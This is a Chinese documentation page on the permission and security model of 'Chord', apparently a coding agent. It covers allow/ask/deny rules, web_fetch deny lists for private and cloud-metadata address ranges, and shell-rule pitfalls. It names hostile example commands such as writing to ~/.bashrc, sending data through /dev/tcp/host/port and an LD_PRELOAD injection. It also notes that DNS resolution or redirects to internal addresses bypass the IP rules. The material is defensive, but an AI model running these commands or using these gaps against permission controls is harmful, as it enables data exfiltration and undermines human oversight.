跳转到内容

权限与安全

Chord 是一个可读取文件、修改文件、执行命令并调用外部工具的 coding agent。公开使用前,应先明确其权限模型和安全边界。

  • 默认把高风险能力设为 ask
  • 对明显危险或不需要的能力使用 deny
  • 仅对低风险、可预期的动作使用 allow
  • 把 API keys 放在 auth.yaml 或环境变量里,不要写进项目文件

常见权限状态:

  • allow:自动允许
  • ask:执行前要求确认
  • deny:直接拒绝

规则按工具名匹配;内置工具名的完整清单见内置工具

在 TUI 确认框中,A 用于打开当前工具调用的“添加规则”选择界面;进入该界面后,再按 Enter 才会保存所选规则并允许这次调用。

权限可在 Agent 配置中定义。推荐从下面这套个人开发模板开始,再按项目风险收紧或放宽:

permission:
"*": allow
handoff: deny
delegate: deny
delete: ask
web_fetch:
"localhost:8000": ask
"169.254.0.0/16": deny
"10.0.0.0/8": deny
"192.168.0.0/16": deny
shell:
"sudo *": ask
"rm *": ask
"rmdir *": ask
"mv *": ask
"git add *": ask
"git checkout *": ask
"git clean *": ask
"git commit *": ask
"git push *": ask
"git reset *": ask
"git restore *": ask
"git tag *": ask

这套配置的含义:默认允许大多数工具;禁用 handoffdelegate;删除文件、选定的 WebFetch URL pattern、以及常见高风险 shell/git 命令需要确认。权限规则按「最后匹配优先」生效,因此 web_fetchshell 下更具体的规则会覆盖顶层 "*": allow。适合单人、可信工作区;共享仓库、团队服务或自动化 headless 部署应进一步收紧。本页以 "*": allow 作为可信工作区基线;若想改用最小授权基线,配置 — Agent 配置中的 builder agent 从 "*": deny 起步,只对角色确需的工具逐项放开。按你的信任模型选择基线即可。

web_fetch 的规则 pattern 按网络语义匹配主机,形如 host[:port]

  • host(主机):域名(example.com)、域名通配(*.internal*)、单个 IP(127.0.0.1::1),或 CIDR 网段(10.0.0.0/8169.254.0.0/16fd00::/8)。IPv6 地址或 IPv6 CIDR 指定端口时需要方括号,例如 [fd00::/8]:443
  • port(端口):省略或写 * 表示任意;可以是单个端口(8080)或范围(8000-9000)。请求 URL 未写端口时按其协议取默认(http→80、https→443)。
  • 不支持 scheme(协议)和 path(路径)pattern。
web_fetch:
"*": allow # 默认放行一切
"0.0.0.0/8": deny
"10.0.0.0/8": deny
"127.0.0.0/8": deny
"169.254.0.0/16": deny # 云元数据 endpoint
"192.168.0.0/16": deny
"*:8000-9000": ask # 任意主机的这些端口需确认
"*.internal": deny # 内网域名

匹配发生在请求发出之前,针对模型给出的 URL;不会按解析后的连接 IP 复检。因此域名解析到内网地址、或 HTTP 重定向到内网,都不会被 IP/CIDR 规则拦住。请把这类规则视为意图层面的管控,而非网络沙箱。

大多数工具都按上面的 allow / ask / deny 字面含义执行,但少数编排工具有意带有额外联动,使权限设置与 Chord 能安全运行的工作流保持一致:

  • editapply_patch 属于同一个文件编辑工具族,只是面向模型暴露的编辑格式不同(patch 作为 apply_patch 的旧别名仍被接受)。当另一个编辑器没有同名显式规则时,一个编辑器的规则会作用到另一个编辑器。这也包括 deny*: allow 后面配置 edit: deny 会同时禁用 editapply_patch,因为 apply_patch 继承了编辑工具族的拒绝规则。如果需要两个格式有不同行为,请同时配置 editapply_patch。例如 edit: allowapply_patch: deny 会禁用 apply_patch 但保留 edit,GPT/o 系列模型会退回使用 edit;反过来,apply_patch: allowedit: deny 会让默认偏好 edit 的非 GPT 模型退回使用 apply_patch

  • handoffdone 会被当作控制 gate。设为 deny 会隐藏或禁用对应工作流;设为 allowask 都会让工作流可用,真正交接 / 完成时 Chord 仍可能显示本地确认(例如 loop 的 done 确认)。也就是说,ask 不是这两个工具的“更强工作流模式”,它主要表示工具保持可见 / 可用,同时保留 Chord 内建确认 gate。这个取舍可以避免模型看到一个可用控制工具却最终无法完成,同时仍防止静默切换角色或过早退出 loop。

  • delegate 会匹配调用参数中的 agent_type,因此每个角色都可以只允许委派给指定的 SubAgent 定义。例如,下面按声明顺序先拒绝所有目标,再允许 reviewer,并要求委派给 tester 前进行确认:

    permission:
    delegate:
    "*": deny
    reviewer: allow
    tester: ask

    被拒绝的目标不会出现在 Delegate 工具 schema 或协调 prompt 中;如果所有已配置的 SubAgent 目标都被拒绝,Delegate 会被隐藏。权限规则按“最后匹配优先”生效,因此通配兜底规则应写在具体目标规则之前。

  • delegate 也控制一组委派工作流。如果有效的通配 deny 将它整体禁用,Chord 还会禁用通过 cancel 取消 SubAgent、从 SubAgent 中隐藏嵌套的 delegate / cancel,并把 SubAgent 的 notify 限制为只通知自己的 owner,而不是任意指定目标。原因是取消或定向通知其他委派任务本身属于管理 delegated workstreams;如果禁用委派却允许这些片段,会形成一个不完整但仍可干扰委派工作的控制面。

  • 因此 cancel 依赖 delegate:即使配置了 cancel: allow,只要 delegate 被禁用,cancel 仍会被拒绝。若希望某个角色能取消委派工作,需要同时启用 delegatecancel

  • question: ask 会被归一化为 allowquestion 工具本身就是向用户提出结构化问题并等待回答;如果在提问前再加一次权限确认,只会产生重复弹窗,并不能降低最终决策风险。

  • YOLO 不会绕过 handoffdelegatecanceldone;即使普通文件 / shell / web 权限被绕过,这些控制工具的权限仍会执行。YOLO 下,宽泛的 "*": allow 规则本身不会授予这些受保护工具;如果角色需要使用它们,请分别直接配置对应工具权限。

权限属于 Agent 级配置,不是简单的全局开关。

对于 shell,像 "git *": allow 这样的具体 allow pattern 不会自动放行包含未引用 shell 分隔符(;&&|||& 或换行)的复合命令。这类调用会继续匹配后续规则,通常回到 askdeny。这只是安全兜底,不是 shell 沙箱;shell: allowshell: { "*": allow } 这类宽泛规则只应给完全可信的角色使用。

但一条针对具体命令的 allow 会覆盖该命令的全部能力,包括输出重定向和内联的环境变量赋值前缀。若放行了 echo *,那么 echo secret > ~/.bashrcecho x >> filedata > /dev/tcp/host/portLD_PRELOAD=./x.so echo hi 都会被允许——重定向目标和环境变量前缀属于这一条 shell 命令的组成部分,而非独立的工具调用,因此不会被单独匹配或管控。只有当你能接受某命令的最坏情况(通过重定向任意写文件、覆盖环境变量)时,才给它命令级 allow;否则保持 ask

shell 能执行系统命令,应格外谨慎。shellspawn 都是刻意设计的非交互工具:Chord 不会把模型可控的 stdin 接入子进程;Unix 子进程会在没有 controlling TTY 的环境中运行;高置信的交互式命令会在执行前被拒绝。普通 stdin 读取(如 shell read/select)会看到 EOF,而不是等待模型输入;如果命令需要输入,请通过 pipe、here-doc、文件或参数显式提供。登录向导、终端编辑器、pager / 全屏 TUI、密码提示、以及需要 /dev/tty 的命令,应在真实终端中手动执行,或改写为显式提供输入/参数的非交互命令。

shell / spawn 的平台说明:

  • 在 Unix 上,Chord 会把子进程放到新的 session 中,并在超时/取消时按进程组清理。
  • 在 Windows 上,Chord 仍然保持 shell / spawn 非交互,但这里没有与 Unix setsid / 进程组控制完全等价的路径;超时/取消时会退回到直接终止进程,对后代进程的清理可能不如 Unix 完整。

常见改写方式:

  • git commit -m "message"git commit -F file 代替会打开编辑器的 git commit
  • amend 时如果要保留现有提交信息,使用明确不会打开编辑器的形式,如 git commit --amend --no-editgit commit --amend -C HEAD
  • 避免在 shell / spawn 中运行交互式 Git patch 流程(git add -pgit commit -pgit stash -p);改为显式指定 pathspec,或在真实终端中手动执行
  • 容器命令不要分配 TTY(如 docker exec -itdocker run -tpodman run -tkubectl exec -it),除非你是在真实终端中手动运行
  • npm init -y / --yes,或显式提供所有必要选项
  • 需要 sudo 非交互失败时用 sudo -n,避免等待密码提示
  • 命令确实支持非交互 stdin 时,用 pipe 或 here-doc 显式提供输入

建议:

  • 默认把文件删除、批量改写、网络下载、数据库操作保留为 askdeny
  • 如需管控本地/内网服务或敏感 endpoint,使用 web_fetch pattern——按主机/端口(web_fetch: { "localhost:8000": ask })或按地址段(web_fetch: { "169.254.0.0/16": deny, "*:8000-9000": ask }
  • 仅对少量可预期的开发命令设置 allow
  • 不要把权限匹配理解为安全沙箱

重要:Chord 的权限匹配是产品层面的风险控制,不是操作系统级隔离或安全沙箱。

editwritedelete 都会直接改动工作区文件。edit 用于修改一个已有文件的局部内容,write 用于创建文件或明确完整替换文件,delete 用于删除整个文件。readview_imagegrep 虽然是只读工具,但它们仍会访问本地文件系统路径,并可能把本地文件内容暴露到 transcript / 模型上下文中。按路径读取的工具会刻意拒绝标准流设备文件(如 /dev/stdin/dev/stdout/dev/stderr 等)这类受限 device-style 路径,而不会把它们当作普通文件处理。本地文本文件工具优先使用 UTF-8 或带 BOM 的 Unicode(UTF-8 / UTF-16 / UTF-32),并保留对 GB18030、Big5、Shift-JIS 等常见地区性编码的受限支持。无法明确识别或不受支持的编码会快速失败;web_fetch 仍会按 HTTP 响应声明的 charset 解码。

对已有文件,write 需要模型完整掌握当前版本:先完整读取,或当前内容正是模型自己此前的整文件写入;分页或被 budget 截断的 read 不足以授权整文件覆盖。若缺少完整观察基线,或文件在观察后发生变化,写入会在修改磁盘前拒绝并要求重新读取。新文件创建不需要旧版本观察。delete 采用路径授权而非读取门控:其安全性由路径解析、权限规则、跟踪锁与删除前备份承担,删除文件不会强制先完整读取。

editapply_patch 仍会在执行时读取当前磁盘,并通过 exact-match / patch-plan 校验防止陈旧定位;如果运行时检测到 drift 但当前锚点仍可验证,Chord 会提示警告而不是拒绝,并尽力把有风险的非空写前内容备份到当前会话目录。备份上限为每 path 10 个、每 session 200 个、单文件 10 MiB、每 session 总计 50 MiB;如果必须备份但超过这些上限或因其他原因失败,局部编辑仍可继续,但工具结果会说明未创建备份及原因。删除/清理会话时,这些备份会随会话目录一起删除。

建议:

  • 在重要仓库中配合 Git 使用,方便回滚
  • 对生产配置、部署脚本、密钥文件保持 ask
  • 对生成文件或测试工件目录做更细粒度规则
  • API keys 建议放在 ~/.config/chord/auth.yaml
  • 也可通过环境变量引用
  • 不要将真实密钥写入示例配置、脚本或项目仓库
  • auth.yaml 设置严格权限,如 chmod 600 ~/.config/chord/auth.yaml

chord headless 适合作为 bot / gateway 的底层控制面,但它本身不负责多租户隔离、浏览器安全边界或权限托管。

接入聊天平台、自动化系统或团队服务时,应在外层额外控制:

  • 允许访问哪些工作目录
  • 允许调用哪些命令
  • 谁可以批准高风险操作
  • 事件如何审计与留痕

Chord 支持接入:

  • provider API
  • LSP
  • MCP
  • Hooks
  • 本地 shell 命令

这些能力都会扩大运行时边界。接入前建议逐项确认:

  • 是否真的需要该能力
  • 它会读写哪些资源
  • 出错时如何回滚或停用
  • 是否会把敏感数据带到外部服务
  • 初次使用时,从最小 provider 配置和最小权限开始
  • 在个人仓库中先观察一段时间,再逐步放宽权限
  • 在共享仓库或团队环境中,不要默认全局 allow
  • 对自动化 Hook 和 MCP 工具做最小权限暴露